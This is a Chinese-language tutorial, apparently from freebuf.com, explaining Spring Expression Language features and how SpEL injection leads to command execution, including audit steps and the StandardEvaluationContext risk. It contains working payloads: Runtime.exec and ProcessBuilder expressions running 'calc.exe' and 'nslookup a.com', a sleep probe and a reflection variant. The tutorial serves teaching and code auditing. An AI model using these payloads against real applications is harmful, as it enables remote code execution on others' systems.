SPEL注入详解
2023-5-4 09:51:50 Author: www.freebuf.com(查看原文) 阅读量:17 收藏

SPEL简介

什么是SPEL

SPEL(Spring Expression Language),即Spring表达式语言,比JSP的EL更强大的一种表达式语言。特别是方法调用和基本的字符串模板功能。Spring框架的核心功能之一就是通过依赖注入的方式来管理Bean之间的依赖关系,而SpEl可以方便快捷的对ApplicationContext中的Bean进行属性的装配和提取。

表达式语言

上面说了spel是一种表达式语言,那么什么是表达式语言呢?

表达式/模板:在一些功能中,有一些固定的格式,只有部分变量,这样的情况下就需要使用模板,模板就是将固定的部分提取出来形成一个固定的模块,然后经过处理将变量填入其中。

我们可能还接触过类似的语言,如EL,OGNL。

EL:常用语JSP页面,简化JSP页面的操作

OGNL:struts中常见

SPEL的常用功能

从官方文档上可以看到SPEL支持下面的功能:

Literal expressions:文字表达式
Boolean and relational operators :布尔和关系运算符
Regular expressions:正则表达式
Class expressions:类表达式
Accessing properties, arrays, lists, maps:访问属性,数组,列表...
Method invocation:使用方法
Relational operators
Assignment
Calling constructors:调用构造方法
Bean references:Bean表达式,如果已使用 Bean 解析程序配置了评估上下文,则可以使用 (@) 符号从表达式中查找 Bean。
Array construction
Inline lists
Ternary operator
Variables:变量表达式
User defined functions:定义方法
Collection projection
Collection selection
Templated expressions:模块化表达式

SPEL是一种非常强大的表达式语言,从上面可以看出,它支持众多的操作,这些操作我们不必全部掌握,只要掌握与安全相关的

SPEL基本用法

接下来来学习一下SPEL的基本用法

如下面代码所示,首先通过SpelExpressionParser创建解析器,然后传入要评估的表达式,最后通过getValue执行表达式来获取最后的结果。

ExpressionParser parser = new SpelExpressionParser(); //创建解析器
Expression exp = parser.parseExpression("'Hello World'"); //传入需要评估的表达式
String message = (String) exp.getValue(); //执行表达式,然后获取值

上面说的比较简单,其实在很多情况下,评估表达式需要设置上下文,执行表达式时从上下文中取值。

上下文其实就是设置好某些变量的值,执行表达式时根据这些设置好的内容区获取值。

SpEL在求表达式值时一般分为四步,其中第三步可选:首先构造一个解析器,其次解析器解析字符串表达式,在此构造上下文,最后根据上下文得到表达式运算后的值。

如下,设置上下文时的操作

ExpressionParser parser = new SpelExpressionParser(); //创建解析器 
EvaluationContext context = new StandardEvaluationContext("rui0"); //设置上下文 context.setVariable("variable", "ruilin"); //设置上下文,varibale=ruilin
String result1 = parser.parseExpression("#variable").getValue(context, String.class); //取值时传入上下文内容,然后执行表达式

SPEL语法

SpEL使用 #{...} 作为定界符,所有在大括号中的字符都将被认为是 SpEL表达式,我们可以在其中使用运算符,变量以及引用bean,属性和方法如:

引用其他对象:#{car}
引用其他对象的属性:#{car.brand}
调用其它方法 , 还可以链式操作:#{car.toString()}

除此以外在SpEL中,使用T()运算符会调用类作用域的方法和常量。例如,在SpEL中使用Java的Math类,我们可以像下面的示例这样使用T()运算符:

#{T(java.lang.Math)}

T()运算符的结果会返回一个java.lang.Math类对象。

SPEL常用功能介绍

1.类类型表达式(Class expressions)

SpEL中可以使用特定的Java类型,经常用来访问Java类型中的静态属性或静态方法,需要用T()操作符进行声明。括号中需要包含类名的全限定名,也就是包名加上类名。唯一例外的是,SpEL内置了java.lang包下的类声明,也就是说java.lang.String可以通过T(String)访问,而不需要使用全限定名。

因此我们通过 T() 调用一个类的静态方法,它将返回一个 Class Object,然后再调用相应的方法或属性。

如下,可以成功弹出计算机

ExpressionParser parser1 = new SpelExpressionParser(); //创建解析器
Expression exp1 = parser1.parseExpression("T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")");
Object value = exp1.getValue(); //执行表达式

1682688133_644bc88593d27a2089f4b.png!small?1682688129377

2.方法的使用(Method invocation)

spel中可以调用一些方法,如下:

ExpressionParser parser2 = new SpelExpressionParser(); //创建解析器 
Expression exp2 = parser2.parseExpression("'abc'.substring(2,3)"); //传入spel表达式,可以执行substring()方法
String message2 = (String) exp2.getValue(); //执行表示式

3.使用变量表达式(Variables)

变量定义通过EvaluationContext接口的setVariable(variableName, value)方法定义;在表达式中使用#variableName引用;

除了引用自定义变量,SpEL还允许引用根对象及当前上下文对象,

使用#root引用根对象,

使用#this引用当前上下文对象。

ExpressionParser parser = new SpelExpressionParser(); //创建解析器 
EvaluationContext context = new StandardEvaluationContext("rui0"); //设置上下文 context.setVariable("variable", "ruilin"); //设置上下文,varibale=ruilin
String result1 = parser.parseExpression("#variable").getValue(context, String.class); //取值时传入上下文内容,然后执行表达式

4.模板表达式(Templated expressions)

表达式模板允许文字文本与一个或多个解析块的混合。 你可以每个解析块分隔前缀和后缀的字符。当然,常见的选择是使用#{}作为分隔符。

ExpressionParser parser5 = new SpelExpressionParser(); //创建解析器 
Expression exp5 = parser2.parseExpression("spel test is #{T(java.lang.Math).random()}",new TemplateParserContext()); //传入表达式模板
String message5 = (String) exp2.getValue(String.class); //执行表达式

SPEL注入

上面了解了SPEL的一些基础知识,下面来看一下SPEL导致的命令执行漏洞

漏洞原因

从上面的例子中,SPEL功能包含了执行类和方法的功能,如果输入可控,则就有安全风险。

SPEL注入的条件:

1)评估表达式外部可控

2)使用StandardEvaluationContext,如果没有说明,默认使用的也是StandardEvaluationContext

3)执行了getvalue()等执行表达式的操作

StandardEvaluationContext与SimpleEvaluationContext的区别

除了StandardEvaluationContext,还有SimpleEvaluationContext,他们的区别如下:

SimpleEvaluationContext:针对 不需要 SpEL 语言语法的全部范围并且应该 受到有意限制 的表达式类别,公开 SpEL 语言特性和配置选项的子集。

StandardEvaluationContext:公开 全套 SpEL 语言功能和配置选项。用户 可以使用它来指定默认的根对象并配置每个可用的评估相关策略。

代码审计SPEL注入的过程

parseExpression()方法----StandardEvaluationContext()----getvalue()

代码中全局搜索parseExpression方法,看其输入是否可控,然后看使用的上下文是否是StandardEvaluationContext(默认的也是StandardEvaluationContext),最后看是否执行了getvalue等操作方法。

如果满足上面的要求,则说明存在SPEL注入。

SPEL注入常用Payload

${12*12}

T(java.lang.Runtime).getRuntime().exec("nslookup a.com")

T(Thread).sleep(10000)

#this.getClass().forName('java.lang.Runtime').getRuntime().exec('nslookup a.com')

new java.lang.ProcessBuilder({'nslookup a.com'}).start()

总结

SPEL注入是比较常见的漏洞,在各种框架中都有见到其身影,如SpringBoot SpEL表达式注入漏洞,Spring Data Commons远程代码执行漏洞(CVE-2018-1273)等等。


文章来源: https://www.freebuf.com/articles/web/365408.html
如有侵权请联系:admin#unsafe.sh